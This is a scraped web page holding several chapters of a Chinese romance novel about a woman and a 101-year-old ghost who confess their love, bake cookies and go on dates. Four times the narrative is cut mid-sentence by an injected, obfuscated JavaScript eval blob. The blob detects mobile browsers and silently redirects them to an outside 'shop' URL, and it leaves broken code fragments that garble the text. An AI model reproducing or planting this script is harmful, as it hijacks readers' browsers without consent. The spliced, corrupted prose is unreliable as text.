“看情况,不出意外应该是。”喻声晃了晃豆浆杯,确认里面已经空了后捏扁同面碗一起装进垃圾袋里捆好,“你中午想吃什么吗?我先提前准备,免得我不回来,又让你吃不上饭。” 准备饭是其次,帮他上香才是关键,这个步骤只有喻声能来做。 鬼方便,却也受局限。 “不用了,我是鬼啊。”江时笑着坦诚道,“我又不是真的饿了才想吃饭的。” “还是吃点吧,我去看看家里还剩有什么。”喻声将垃圾袋搁下后进了厨房翻冰箱,她的唇角往上漾,打趣他,“和你待在一起久了,有时候真反应不过来你是鬼诶。” 江时踩着她的影子跟着进了厨房:“这不是挺好的吗?讨厌鬼时别把我一起讨厌进去就行。” 喻声侧身,借着冰箱的光看了他一眼,说道:“我现在偶尔还能想到和你初见的时候。” 喻声握住江时的胳膊往外推了下,刚好把他推到厨房门口,她再往回退,腰碰触台面,和他拉开了距离,伸手丈量了一下,为记忆让位:“还记得吗?那天晚上就是这么站着的。从那个时候起,比起讨厌,对你的到来更多是庆幸。” 台面上遗留着那本没拿走的菜谱,菜谱书页随风翻动,几页纸来回,没有停歇,不知疲倦。 喻声有点理不清,时间的参照物到底是什么。 时间的参照物或许是呈现页数不同的菜谱,目光从菜谱往上移,摸到窗框往外跳,时间的参照物变成逐渐缩短的白昼,变成一排排阳台上收起的短袖晾出来的外套,变成光秃秃的银杏树,在上次相同的场景里它还染着茂密的绿色,旁边驻足的红绿灯是告示牌,银杏叶子跟随着倒数跳跃的数字一起,由绿变黄、挑红、日复一日,在沙沙掉落中划过他们遇见的第三个季节。 又或者,时间的参照物该是感情。 感情在不动声色间迅速发芽、生长,从庆幸、到前所未有的安心、再到喜欢,等到重回这个场景里发现它时,其他任何的参照物都得为它让步。 它从不动声色到震耳欲聋,让喻声理不清,却笃信。 江时才不为记忆让步,他向前半步,跨进厨房,状似不经意开口:“还是多记得现在吧,把过去忘掉,当时做了那么多冒犯的行为,难为你还觉得庆幸。” 江时低头,看到自己踩在光里,他又往前挪了挪,用脚尖再次轻轻碰了碰喻声的影子。 影子灰扑扑一团,却有发着光的轮廓。 喻声适时问:“冒犯的行为?比如呢?” 江时沉默着:“……” 不是所有罪犯都想再重回犯罪现场的啊! 既然受害者都要求要重回了—— 半晌,他偏过脸去,回答:“……比如趁火打劫,提一堆要求什么的。” “可是这些要求都是我能做到的,而且我也有要请求你帮忙的事情,不算趁火打劫,顶多算互帮互助。”喻声认真地说,“江时,我知道你提出那些只是不想一个人待着,所以那些过去很重要,我也从未觉得这个和你相遇的过去是需要忘掉的。” 就跟爱丽丝掉进兔子洞一样的。 比起恐惧,更觉奇妙。 喻声喊:“江时。” 江时应:“嗯?” 喻声又喊了一遍:“江时。” 江时仍有耐心:“怎么了?” “就是很想在厨房这么叫叫你的名字。”喻声说,“毕竟第一次听到这两个字——江河的江,时间的时,就是在这里。” 她想了想,半开玩笑:“还有,如果真的把过去忘掉,那还怎么记得你特别喜欢我煎的蛋?” 江时没说话,静静地看着喻声。 她发光的影子正在牵住他的脚。 他的影子化作蜻蜓,正在吻着她如水面般波光粼粼的眼睛。 吻过去,也留下。 在福利院大树下往高处抛的那块福牌上写的「放下」被风一吹,被神明听到,把得偿所愿送到江时身边。 他以前总觉得,放下意味着要把所有过去捆好封存,要接受这段记忆从此变得空白; 没有人告诉他,放下是开始觉得过去很重要,是不需要忘掉这段记忆、可以接受它的存在的,是当有一个契机直面它时,比起去掂量其是否还沉重,更在于他想说、他愿意想让喜欢的人看到这份脆弱的过去。 比此刻更早,就有人告诉他这些。 比抛福牌更早,得偿所愿就在他身边。 比意识到的更早,他就已经喜欢上喻声,拥有了这颗最亮的、独一无二的星星。 比重新开口更早的,是冰箱不满室内太过安静,发出的催促般的滴滴声。 喻声反应过来,抬手把冰箱门阖上。 江时被冰箱门扇了下,他缓神,咳了一声,找回自己的声音:“那吃煎蛋吧,很久没吃了,有点想念。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16733668|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以是可以。”喻声有点困惑,“但你沉默了这么久,就是在想这个吗?” 果然吃是很重要的一件事。 说着自己不饿的鬼也不例外。 “还想了别的。”江时慢吞吞说,“想了明明不会有饿意,为什么还想吃饭。” 还算思考得有深度,喻声重新打开冰箱想取鸡蛋:“所以想出来了?” “嗯。” 很简单的四个字,说得郑重其事,偏偏声音缓缓轻轻。 “想的是你。” 他话音刚落,喻声碰到鸡蛋,鸡蛋壳冰冷,冷得她没缓过神来,冷得大脑被洗劫一空,却连最简单的四个字都无处安放,下意识蜷缩手指后,她一顿,收起无措,又若无其事去拿第二次。 “因为不是想吃饭,是想和你一起吃饭。”江时笑,接着请求,“所以你晚上快点回家吧,一起吃饭。” 明明和“不想一个人待着”是同一个意思,但被江时换成“想和你一起吃饭”说出来,好像变了另一种意味。 喻声差点没拿稳鸡蛋。 本能地,她盯着冰箱没有回头,轻轻地应了句好。 再一次面临要不要和爱丽丝一起掉进兔子洞的选择,她的回答也只关乎肯定。 甚至于比起第一次,她开始期待再进兔子洞里能看到的新世界。 哪怕这个新世界是个很冒险的梦境,至少江时正在给她前所未有的勇气。 - 喻声拿完鸡蛋关门时把去超市的计划冷藏进冰箱里,过了好几天,等到再次打开冰箱,才在快被消耗殆尽的食物旁边重新发现它。 不知是拜感恩节的那场雨所赐,还是有人虔诚地感恩了冷空气的馈赠,东宜迈过节日后就丝滑地进入了冬天,一直横跳不定的温度也稳稳维持在了14°C左右。 这样的天气,出门穿再厚实风也能寻着突破口和身体接触,进了超市,顺利游入人群,才终于暖和了起来。 喻声出门前列了清单,打算一进超市就速战速决,偏生带了个爱东看西看的鬼出来,硬生生拖慢了进度。 被喻声一句“大庭广众下你替我推小推车是想把大家都吓走然后上社会新闻吗”搪塞回去后,江时只好缓一步慢一步地跟在她身后往前挪,他好奇什么,就会扯住喻声的外套下摆让她停下来,等看完后再满意地放开喻声继续往前走。 红彤彤圆滚滚的番茄、东倒西歪的芹菜、鼓鼓囊囊的薯片、挤挤挨挨的玻璃瓶饮料,101年前的老古董对每一样物品都觉得新奇,架势像是要把上次急匆匆逛超市没来得及细看的部分报复性地装进眼里。 要包容他。 喻声想。 她在棉城也是这么带春华女士玩的。 路过酱料区,停下来的是喻声,她正低头查看酱料保质期,余光却瞥到江时径直往前。 来不及思考,她抬头,见江时一反常态越过她,走了好一段距离,在喻声的疑惑跟随他的目光中,他止步,停在了上次买芝士的盆栽货架区。 33. 101岁 喻声舍弃了酱料,推着小推车走到了江时旁边。 江时正端详着什么,见喻声走过来,他搭手扣住小推车的边缘往后移,拉得喻声离他更近了些。 江时先低头看了眼喻声,旋即默不作声地松开小推车后自己往她的方向靠近了些,手指左右点点货架上最上排末尾的两盆,问:“帮我一起看看,这两盆选哪盆好?” 喻声顺着他的手指方向看过去。 一盆龟背竹,一盆文竹。 两盆的盆底都是绿色的。 文竹和芝士撞了品种,喻声没怎么犹豫,指了龟背竹:“就这个吧。” 健康、长寿。 寓意也挺好。 她想了想,总觉得家里那两盆再加上常来串门的豆乳已经够多了,又问:“你养得过来吗?” “听你的。”江时笑,又回答,“怎么养不过来?来都来了,正好给煤球和芝士再找个伴。” “来都来了”这四个字果然好用。 从101年前用到现在也不落俗。 “你还挺热心。” 喻声捧着龟背竹放进小推车里,推着车就往反方向走回酱料区,“这次的小盆栽叫什么名字?” 听到自己的名字叠字从江时的口中蹦出来,喻声急刹车,怀疑自己听错:“——声声?” 估计龟背竹也不太满意。 叶子在猛然停住的小推车里一晃三晃。 “生生不息的生。”江时说,“不是怕我养不过来吗?取个好养活的名字。” 喻声一顿,刚想说什么,口袋里的手机骤然振响。 冬天的衣服太厚,喻声手忙脚乱,把手机够出来时手机铃声已经开始响第二遍了。 她接起来,对面是一句响亮的“生生啊”。 是春华女士独特的开场白。 江时循声望过来,没等喻声抬头看他就已经移开视线,眼观鼻鼻观心地落在龟背竹颤动的叶子上,他还站远了些,把耳朵背了过去。 喻声目睹一切,垂下眼眸。 “春华女士怎么这个时候找我?”她把混乱的思绪抛开,笑问,“想我了吗?” “想了想了。”王春华欸了一声,“每次打电话都要问这句。” “那不是怕你害羞嘛,你下次打电话先说想我了,我不就不问了?”喻声笑眯眯地补充,“我只对奶奶这样哦。” 江时像是盯龟背竹盯到无聊了,又转过来看了她一眼,两肘撑在小推车上,往前探身,蹭蹭叶子,为早已停歇下来的龟背竹制造余震。 “小滑头。”王春华笑骂了一句,转为打电话想说的话题,絮絮叨叨的,“我看今早的天气预报,说是东宜降温了好多,你有多穿几件衣服没?别跟小时候一样老是偷摸着脱掉,没有奶奶在身边,更要照顾好自己。” “穿着呢。”喻声抬手转动手腕往袖子里瞧,默数,“穿了整整四件。” “裤子呢?” 裤子倒是不用数。 “也穿着呢。”喻声乖乖回答。 王春华揪住问:“就只穿了一件是吧?” “……”喻声气势弱了两分,“裤子是加厚款的。” “生生——” 预见着如洪流般的唠叨即将到来,喻声恨不得马上化身大禹:“我错了。” 大禹治水靠疏导,喻声治唠叨靠承认错误加连连保证:“我现在还在外面呢,一会回去马上穿。” 洪水泛滥,差点要棉城水东宜调了,堵了十分钟才堵上。 ——大禹真的不容易。 挂断电话,喻声想。 她就没这个本领。 混乱的思绪堵不住,挂断电话后又卷土重来,在脑海里一阵翻腾。 小推车匀速向前,龟背竹的叶子也顺着势向后倾斜,终于不再摇晃。 “换个名字吧。”喻声最后说。 - 清单上该买的都买了,不该买的也买了一堆。 江时提着四大袋食物往厨房的台面上放,剩一小袋实在没地方放了,他环顾四周,无奈只能先搁在地上。 喻声见状,把手里已经改名为抹茶的龟背竹塞进江时手里:“你去把盆栽安置好,我先把这一堆收拾一下,等会腾出地方就可以开始做饼干了。” 换名字是喻声最擅长的事情之一。 绿色盆底,和芝士一脉相承,叫抹茶很合适,只是又再次辛苦了煤球。 长子总是要付出比较多。 先不去管煤球的意见,江时倒是坦然接受。 他顺手捧过盆栽,应了声好。 转身快出厨房时,他又适时回头:“真的不用再去穿一条裤子吗?” 已经把四件衣服脱得只剩两件的喻声:“……” 你冒犯了。 她伸手,把江时和抹茶从厨房里戳了出去,用动作代替了回答。 江时任喻声摆布,喻声根本没用力,他自己就顿顿往后退。 喻声索性请他吃了闭门羹。 饶是如此,隔着玻璃门,也没错过他举手投降时不断漾起的小括弧。 等江时被推走又重返,喻声已经收拾得差不多了,做饼干的材料也早在台面上罗列好了。 她听到声音后偏头,就看到江时进来厨房时手里握着的保温杯。 喻声笑得无奈:“我是真的不冷。” 江时干脆眼睛一弯:“喝点热的对身体好。” 喻声接过保温杯,小心翼翼地喝了一口,温度刚刚好。 她笑着问:“你是春华女士派来的吗?” 江时低头拆着低筋面粉的包装袋:“听起来有点不太合理。” 喻声好奇:“怎么个不合理法?” “我记得你说过,她的功力在整个棉城数一数二的,叫我小心一点别被她看到了。”低筋面粉的包装袋太难拆,江时手上动作没停,看了喻声一眼,笑着说,“我一向挺听话的。” 喻声发现,她每次跟江时聊天的时候会很难去预料后续的发展。 比如现在。 也不知道是怎么从气温话题聊到他很听话的。 喻声想了半天才想到怎么把话题拗回来:“鬼怕冷吗?” 江时终于把低筋面粉拆开:“……感觉被鬼接近的人比较怕冷。” 菜谱在面前摆开,喻声跟着步骤先把糖粉和盐加入黄油中搅拌:“可能是他们没法收到鬼送过来的热水?” 江时先是一怔,再是点点头,嗯了两句,笑得比被推走逗喻声时还要开心。 过了一会儿,他声音很低,轻描淡写地:“所以你是特殊的。” 他打着鸡蛋液,不忘提醒喻声把翻拌均匀的黄油递给他。 喻声手指在菜谱上滑动,知道下一步加面粉前要等他先把鸡蛋液全拌匀进去才行,她索性站一旁看着,又捧回保温杯小啜。 阳光顺着窗户照进来,尽数落到了喻声脸上,她偏头,被晃了下眼。 喻声悄悄退后一步。 就一步。 阳光离开了她的脸,贴向江时的眉骨。 眉骨下,是极认真、专注的眼睛。 那么多个晚上,他也是这么认真地一步一步一遍一遍做饼干的吧。 他没有天赋,却熟能生巧。 这种说不清道不明的情绪在强烈出现时没被察觉,等到此刻,它平静下来,细水长流,喻声才后知后觉。 非要用动作来形容这种情绪的话,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16773446|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概是感觉心脏在被架空。 她静了一会儿,第一次这么肆无忌惮地放任视线随阳光流浪。 ——这好像也不叫流浪。 喻声想。 她的视线总有唯一的目的地。 喻声心里藏了很多问题。 她带着十万个为什么,去往目的地。 喻声不说话,江时也不开口,室内只剩打蛋器卖力工作的声音,等江时准备进行下一步,放打蛋器去休息时喻声才插话进来。 “会给人送热水的鬼才特殊吧?江时。” 皮球被踢回来,江时笑着接住了。 他把提前称好的面粉和奶粉悉数抖进碗里,不管是用刮刀的动作还是说出来的话都很认真:“喻声,这不叫特殊,这叫有私心。” 有私心。 有私心。 十万个为什么怎么会是同一个答案。 喻声的手仍重复揉搓着面团,直到江时连声说了三个“好了”她才如梦初醒放开面团。 喻声笑:“有点走神,抱歉。” 江时摇头,也没问为什么走神,只说没关系,语气淡淡,表情也看不出来在想什么。 他垫了两张油纸擀面团,手掌撑着膝盖伏身确认面团的平整度,喻声觉得新奇,也学着他的动作。 江时扭头,笑着问:“怎么样?” 喻声也笑,扭头和他对视,快碰上他的肩:“感觉还不错。” 面饼还不错。 离目的地这么近—— 也不错。 “真的?” “……假的。” 面团擀平后放冰箱冷冻一会儿就可以取出来上模具,依旧用的小狗形状,压出来后就可以上烤箱烤了,这次的外观很完美,小狗有鼻子有眼的。 喻声迫不及待咬了口,表情被烫得有点皱皱巴巴的,接着那句“假的”继续往下说:“……怎么感觉不如你上次的那个好吃?” 喻声边吃边摇头:“今天下的糖量是严格按教程来的,果然不太行。” 江时笑起来:“怎么感觉你在骂我?” “哪有。”喻声把饼干放下,转手拿了保温杯,笑着回答,“饼干还是得像你上次那样,再甜一点比较好。” “其实是因为上次做太多了,吃着吃着你就习惯那个味道了吧。”江时说。 “是习惯了。”喻声想了想,“下次交给你来控制用量,争取做出上次的那种味道出来。” “好啊。”江时手往后撑着台面,弯了弯眼,补充道,“能让你习惯太好了。” 喻声一顿。 他懂她,所以,她也懂他。 就算每次跟江时聊天的时候会很难去预料后续的发展,喻声仍能读懂他的言下之意是和过去的哪个画面挂钩。 很轻易地,江时话一出,喻声就被拽回他问“让你习惯的人是谁”的那个早上。 果然下一秒。 江时开口。 “不管你上次说的是谁,能不能从现在开始,像习惯我做的饼干一样,多习惯我的存在?” 好半晌,喻声才吸了吸鼻子后问:“你知道你这句话是什么意思吗?” 鼻子有点酸。 不会是感冒了吧。 果然该听春华女士的话多穿点的。 “知道,是喜欢你的意思。”江时眨着眼睛,阳光在他的眼睫上跳动,喻声很难不去跟随,“喜欢是一件很珍重的事情,我花了很长时间去确定,所以也花了很长时间才说出来。” 他的话像张滤网,孔很密,连喻声预计1%的概率会发生的事情都不放过地尽数捞走。 完蛋。 喻声想。 心脏真的再次被架空了。 34. 101岁 江时真的花了很多时间,去理清自己的心。 从抛福牌的那天开始,到讨厌舒云霁和她走得很近,到知道她陷入危险时那一瞬间迸发出来的从未有过的恐惧,到只是安静地和她呆在房间里各做各的事都会很开心,到听说她好像有一个习惯的人有点嫉妒,到独自吃饭的时候会想着,如果能和她一起吃就好了,好想和她讨论一下今天的饭有多软和,今天的汤又有多温暖。 如果多尝试几遍,能让她尝到很好吃的饼干就好了。 从关注别人,到关注她。 从觉得世界好喧闹,到世界好安静,只能看见她、只想看见她。 这种感觉最巅峰的时刻是在超市里。 那时,听到她和她奶奶打电话说的那句“我只对奶奶这样哦”,心里想的是,如果也能这样对他就好了。 他也没有很贪心。 没有……吧? 只是想在“奶奶”后面加上“和江时”三个字而已,大不了先预支下一年的生日愿望来用,反正等到那时他们也还会待在彼此身边的。 嗯,没有很贪心。 明明是很大度的想法。 这么大度的想法,要匹配上很大胆的实践才行。 这么想着,于是有很多东西被抛到脑后,冲动和欲望如星火燎原。 在喻声问“你知道你这句话是什么意思吗”的时候,他想的是,如果他往前一步不会让她往后一步就好了。 哪怕喻声站着不动也行。 江时不是没想过,他们身份悬殊,一个是人,一个是鬼,但他又同时知道,喻声从不会觉得人和鬼有什么区别,或者换个说法,在她这里,他和人没什么区别。 至少他有点特别。 这是他敢说出那一段话的原因。 但说完后,他又不太敢看喻声了,只能低头再低头,左手不停摩挲着右手大拇指的指甲盖。 他在紧张。 他很紧张。 喻声敏锐地察觉到。 但—— 到底谁不紧张! 她也很紧张好不好! 喻声此刻莫名有种自己正身处于每次交完稿等待单主阅读并回复的那段时间里的错觉,是比紧张更多一层的,想更往前一步,却又有点害怕的心情。 还有点不知所措。 她过了好一会儿才问道:“你喜欢我什么?你能确定,这种感觉是喜欢吗?” 话音刚落,江时偏头,和喻声视线交汇。 他声音顿顿,说得很缓,略显笨拙,剖析自己,也剖析她:“喜欢你总是很纯粹、很沉静,比我更能了解我的别扭,这么温吞的人,却总能不顾一切地抱住我;喜欢你向我展现的,喻声的所有,勇敢的也好脆弱的也好都喜欢;喜欢你说的每一句话,喜欢你问我想吃什么,说今天天气很好,要不要一起出去走走,说不会抛下我,不厌其烦地夸我做得好,也喜欢你写下来的每一个文字;在临山坐树下赏雪时觉得你就像头顶的那棵树,就会开始想如果能遇到的每棵树都是你,那我真的会爱上这个世界。” “这些是喜欢吗?”江时追问,“或者,看到舒云霁有点讨厌是喜欢吗?不开心的时候想找你,开心的时候也想找你是喜欢吗?路过花店总想着哪一束和你最适配是喜欢吗?开始觉得活着很好,这个世界好漂亮,是喜欢吗?很需要你,这个呢,会是喜欢吗?这些是我感受了很久的,未曾有过的喜欢。” 喻声笑起来:“关舒云霁什么事?” 江时声音很闷:“……我说了这么多,你只听到他的名字,这不让人讨厌吗?” 喻声眨眼看向他,好半晌,笑着笑着快要落泪:“你是笨蛋吗?” “我也觉得挺笨的,求你给笨蛋一个机会吧。”江时罕见地叹气,他折身,稍微靠近喻声,说道,“我很迟钝,懂得不多,学得又慢,但你能不能教教我,别放弃我,我会努力。” 莎士比亚说过一句话喻声很喜欢: Nothingissmonasthewishtoberemarkable,没有比希望不平凡更平凡的了。 喻声想,她现在大概也是这种心情。 狂风暴雨袭来之时,在紧闭着的、循规蹈矩的人生中打开一扇窗,透过窗户的缝隙涌进来的会是什么,她要好好地感受一次,淋雨的话也没关系,像上次从公交站跑回家那样,再牵着江时离开这里往前跑就好了。 何况现在天气这么好。 阳光眷顾了他们很久、很久。 她也想,放纵一次,趁阳光明媚,完全跟着自己的心走,把不敢设想的想一遍、把不敢做的做一遍,哪怕就一次,哪怕人鬼殊途,她也想要试一试。 因为她也有私心。 因为她很喜欢眼前的这个人。 因为她喜欢的人向她走近了一步。 她理应也往他的方向走一步。 喻声定一定神,放下手里被握得有一圈湿漉漉的保温杯,轻声回答:“好。” 江时有点不敢置信:“——‘好’的意思是?” “我们谈恋爱吧。”喻声伸手问他,“要牵手吗?男朋友。” 喻声伸过去的手五指是张开的,江时懵了一下,旋即慢慢地腾出手,却没有把五指都握住,而是伸出小指勾住她的小指,他勾得紧,在半空中晃了晃,时间还没到走到傍晚,晚霞先在他的耳朵上流连。 是漂亮的、有点虚焦的橘红色。 牵上小指的一瞬间细细密密的痒被带上来,一颗心挤在相贴的指节间变得皱皱巴巴,喻声有点怀疑自己会不会比他更得晚霞偏爱。 他牵完手才回答:“要牵手。” 喻声指尖莫名发烫,她悄悄地学着他往上勾紧,笑着嗯了一句,重复了一遍:“要牵手。” 她补充道:“从过去到现在,习惯的那个人都是你,没有别人。” 江时眼睛像个小湖泊,湖泊泛着雾,水缓慢地流动着,话音落下,喻声险些以为会泛起涟漪,会有小鱼带着水滴从涟漪里跳出来,但没有,漾开的涟漪停留在他的嘴角。 “真好。”江时语调轻轻又上扬,“舒云繁那个网友多摔跤几次挺值的,我居然能得到两个奖励。” 他这么一说,喻声才想起来,想知道她习惯的那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你先闭眼。” 喻声顺从地闭上眼,把全部感官交予江时支配。 天空将暗未暗,还有一点光流入室内,喻声闭上眼睛后仍能在黑中隐隐窥见一点金色。 她刚适应,触觉就被调动,手被放开,那只刚牵过她的、带着一点余温的手贴向她的腰,因她身上只穿了一件衣服,温度直接透向皮肤,喻声被烫得往后仰,他另一只手横亘过来,护住她的后颈,彻底把她环住。 环住后只定在那里两三秒,又不安分地往上,摸了摸她的后脑勺。 喻声把半张脸都闷在他的胸口处,手往后伸,抱住他,一呼一吸间,听觉无限放大,很难不听到关于自己的不规律的跳动声响。 “想这么抱着你很久了。”江时轻声开口,“总能不顾一切抱着我的人,以后需要拥抱的时候有我在。” 一开始是小拇指,渐渐拓展到十指,现在变成他们两个人,相贴的面积在变大,世界却在缩小,小到只能容纳下一个喻声想永久按下暂停键的拥抱。 35. 101岁 一年的最后一个月,他们开始谈恋爱。 喻声总觉得她和江时谈恋爱了也和以前是朋友的时候没什么区别,他们依旧一起吃饭、一起散步、一起窝在房间里各干各的事,就连她恋爱了,也没法把江时的存在告知春华女士和舒云繁。 他的存在,是她又一个新的秘密。 但好像也有很不一样的地方。 煤球、芝士、抹茶的身边多了一束新的向日葵,是江时从网上订了直接送到家里来的,昨天眷顾他们的阳光在这里重新绽放。 他找了个花瓶插花,笑着说:“还是觉得你和向日葵很像,特别是这一束,我精挑细选才下单的。” 昨晚的一切发生得太突然,喻声懵到大半夜,十点才醒,此刻带着困倦打了个哈欠,鼻腔里瞬间涌满面包的香味,她边寻着香味的来源边问他:“我怎么又像向日葵又像树的?” “还像青苔。”江时偏头注意到她的动作,补充道,“厨房里有面包和牛奶,我刚温了一下,应该还热着。” 喻声笑了起来,也没问理由,只是去厨房分出一半食物准备上香时还不忘调侃他:“你这是看到什么都觉得像我吧?” 江时闷笑出声:“可能是吧,所有东西都像你那就太好了。” 他说得理所应当,手上插花的动作没停下来,他离远点歪头端详,又整个花瓶提起来问喻声:“怎么样?” 所有东西都像你。 他的话好像总是很满。 也很动听。 喻声的注意力被刚才的话牵扯着一直停留在江时身上,再一听到提问才回过神来,她仔细看了眼向日葵,才敛目低头把面包和牛奶摆放整齐,回道:“感觉还不错。” 江时站的地方刚好是从窗户斜着进屋的光能抵达的最远处,向日葵在明暗分界线上,江时侧一侧身,让它全然沉入光里,风吹过,盎然生机,花瓣上一点湿漉漉被衬得晶莹剔透。 那一点反光,险些让喻声睁不开眼。 “那就先这样。” 江时点点头放下花瓶走过来,慢喻声一步坐下。 他小心捧起牛奶,喝了一口被暖和得弯了弯眼,手指不住地轻轻摩挲玻璃杯,问:“今天你有想去的地方吗?如果没有工作的话——” “——女朋友。” 三个字也慢一步,轻轻落下。 “现在没什么灵感,工作可以推到晚上再做。”喻声咬了口面包,含糊不清问他,“要不要去看看,在我这里你像什么?” “在你这里,我是桂花吗?” 从花店里慢悠悠地走出来时,江时这样问。 花团锦簇里,喻声径直走向桂花,从进花店到出来不过五分钟。 喻声捧着花束拨开包装纸凑近闻:“准确来说,是四季桂。” 是给予一点温暖就会开的花。 是桂花里唯一一年四季都会盛开的。 是纯白和金灿灿融合的。 是香味不如其他桂花、却能吸引人凑近闻,然后再把为数不多的香味全部奉献出来的。 也是她喜欢的。 “那你要很期待。”江时说。 喻声从花束里抬起头来:“期待什么?” “不是四季桂吗?”江时笑着并肩走到她身边,“我们还有一个未知的春天没有在一起度过,我很期待。” 他们在夏天遇见,在冬天相爱,可以在一起不仓促地期待春天的到来。 喻声笑着看了他一眼:“嗯,我会很期待,也会很开心。” “辛苦你了。”江时声音很小,“因为别人看不到我,所以就算是送给我的花,我也没办法自己拿。” “这有什么关系?只要我能看见你就够了。”喻声举起花束,江时顺从低头去闻,“就像这束四季桂一样,我买的,我想要的,我可以自己拿,也不需要别人闻到它的香味。” “而且我还是有点社恐。”喻声笑着收回花束,“虽然不太严重了,但是当着陌生人的面和男朋友拥抱、有亲昵的动作之类的,我好像还是有点做不到。别人看不到你,就刚刚好。” 江时若有所思:“……所以别人看不到我的话,我就可以有很亲昵的举动吗?” 喻声刹住脚步,瞪大了眼看他:“……江时!我不是这个意思!” 坏心情被迅速切割,江时笑到连肩膀都颤动,终于舍得放弃正脸让喻声看到他的侧脸,不忘牵着她的手赶紧往前走。 这是一个很好的十二月。 离开了车水马龙,门被关紧,四季桂如愿待在了向日葵身边。 - 在日复一日的生活中,时间变成了一个很模糊的概念,反而谈恋爱后一点一点清晰了起来,变成了具体的某天,刻上了某个地点、某段相处的回忆。 十二月九日,天气晴朗,他们一起去了海洋馆。 地点是江时提议的,他说看电视剧里男女主角都爱去海洋馆约会,他也想试一次,出来时还特地换上了喻声给他新买的白色大衣。 他倚在门口扬扬眉毛,问喻声怎么样。 喻声从衣柜里探出头,弯弯眼睛说自己的眼光还不错。 等她换好一件白色毛衣走出来后,早已等在门口的江时凑上前,笑意盈盈说你眼光确实不错。 “……凑巧。”喻声把早餐还没吃完的油条塞进他嘴里,“别想太多。” 江时嘴巴鼓鼓囊囊,点头又摇头。 他们过来的时间很凑巧,刚好是星期一,工作日,馆里没什么游客,进入水母展厅,一片昏暗和寂静中,喻声一声“咔嚓”,用江时送她的那台相机拍下了今日第一张照片。 照片中央,是蛋黄水母。 黑与深蓝的底色之上,它是最勾人眼球的跳色。 江时好像不怎么认为,他只看一眼蛋黄水母,就把目光移接到喻声身上,一直没离开过。 等到喻声放下相机,他才启声:“看着它,想起了正式住进你家那天你给我做的那一盘煎蛋。” 喻声手贴椭圆玻璃面,隔空抚摸蛋黄水母游过后拖着的长长触手,闻言失笑道:“你这话好像有点破坏浪漫诶。” “煎蛋不浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16859795|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫吗?”江时学着喻声的动作,脸侧向她这边,“这可是我记了很久的。” 喻声收回手,走往下一个水母展缸,江时紧随其后,和她的步调一致。 也不好那么直截了当伤到煎蛋的心,她想了想,斟酌回答:“反正电视剧里的男女主角不会在海洋馆里讨论煎蛋。” “那他们会在海洋馆里做什么?” 江时一副虚心请教的模样。 下一个水母展缸里的是狮鬃水母,水母摇摇摆摆,红光在喻声脸上影影绰绰。 “……”喻声偏过头去,“看了电视剧的明明是你吧,怎么反而问起我?” 江时右手虚拢成圈抵在嘴边咳了一声,左手默默顺着喻声的手腕往下滑入她的手心,先是试探,等笃定牵着后,又很轻地笑了一下。 他说出来的话更轻:“其他的——” “更进一步的,等我再好好学。” 明明馆里很安静,可他这一句话还是需要侧耳仔细倾听才不至于错过。 ——他读过最多字的是她写的文,也不知道能去哪里学。 喻声想。 喻声胡乱地“嗯”了一句,眼神一点都没往手上瞟,去下一个展馆的路上状似无意地把塞到耳后的头发拨了下来遮住耳朵。 鲸鲨游完一圈,水波荡漾,心也被允许跟着晃了好几遍,差点融于水。 这个姿势一直维持到看完群鱼环绕和影厅的动物保护科普片走出海洋馆后,两人并肩慢慢踩着人行道上的小方砖走,没人提,也就没人松手。 江时先问:“要回家吗?还是再去哪里逛逛?” 街灯已经亮起,喻声摸出手机看了眼时间:“回家吧,晚上七点多了,我们回家吃饭。” “那我们别走这条路了,车好多。”江时低头询问,“走一条车不多的小路回去吧,就是有点绕,你可以吗?” 三十分钟前的回答还是“当然可以”,三十分钟后数不清到底路过了多少棵树,喻声终于忍不住下巴一抬,狐疑看他。 “……你确定只是有点绕?” 按刚才那条路来走回家的话,他们现在大概已经吃完晚饭准备懒洋洋躺着玩会手机了。 江时没回答,顾左右而言他:“这边不仅没什么车,连行人都不多,挺安静的,我们散步还没走过这条路,下次可以绕到这边来。” “江时。” 喻声喊了一遍他的名字。 江时眨眼看过来,最后老实回答:“只是不想今天就这么结束,想多和你走一走。” 喻声好笑道:“那为什么不直接说?” “因为你想回家了。”江时说。 “现在不想回了。”喻声一顿,说,“海洋馆是你提议的,那接下来就去我提议的地方吧。” 江时好奇问:“去哪里?” 